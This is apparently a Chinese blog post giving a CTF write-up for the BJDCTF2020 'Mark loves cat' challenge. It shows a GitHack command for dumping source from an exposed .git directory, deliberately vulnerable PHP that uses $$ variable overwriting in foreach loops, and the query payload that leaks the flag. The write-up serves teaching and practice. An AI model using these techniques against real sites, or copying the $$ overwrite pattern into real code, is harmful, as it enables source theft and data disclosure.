BUUCTF-[BJDCTF2020]Mark loves cat (变量覆盖)

考点:

1、.git泄露
2、$$导致的变量覆盖

变量覆盖漏洞参考:CTF之php变量覆盖漏洞

jjjc

1、$$x是可变变量,普通变量的值作为这个可变变量的变量名,等价于$($x)
参考:https://www.php.net/manual/zh/language.variables.variable.php
2、

foreach ($variable as $key => $value){
	$$key = $value;
}

foreach是一条语句,as和=>是关键字

<?php
$flag=0;
foreach ($_GET as $x => $y) {
    $$x=$y;
}
echo $flag;


$$导致的变量变量覆盖常出现在foreach中,通过GET或POST获取键名,并将键名作为变量名,将键值赋给该变量,在url输入?flag=1覆盖了原来的$flag变量

3、exit(message)函数:输出一条信息,并退出当前脚本

解题:

1、用dirb命令扫描目录,发现存在.git泄露
2、用GitHack脚本获取源码:

python GitHack.py http://61cb2a6a-950e-42a3-b228-396efe9a4ebf.node3.buuoj.cn/.git/

3、代码审计

flag.php:

<?php
$flag = file_get_contents('/flag');#将flag文件的内容赋给`$flag`

index.php:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
	#get的flag参数不等于flag
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
#2种都不能有flag参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
#post的flag参数绝对等于flag 或 get的flag参数绝对等于flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

第1条foreach语句,将POST的参数进行变量覆盖
第2条foreach语句,将GET的参数进行变量覆盖,有点区别是第1个的键值是$y,第2个的键值是$$y

3个if利用一个就行了,利用exit($yds)将原来的$flag输出

foreach($_GET as $x => $y){
    $$x = $$y;
}

GET:?yds=flag
$x为yds,$y为flag,得到$$x$yds$$y$flag$yds=$flag=flag{xxx},在第25行输出的$yds就是$flag

posted @ 2020-06-03 23:21  Pur3  阅读(608)  评论(0编辑  收藏  举报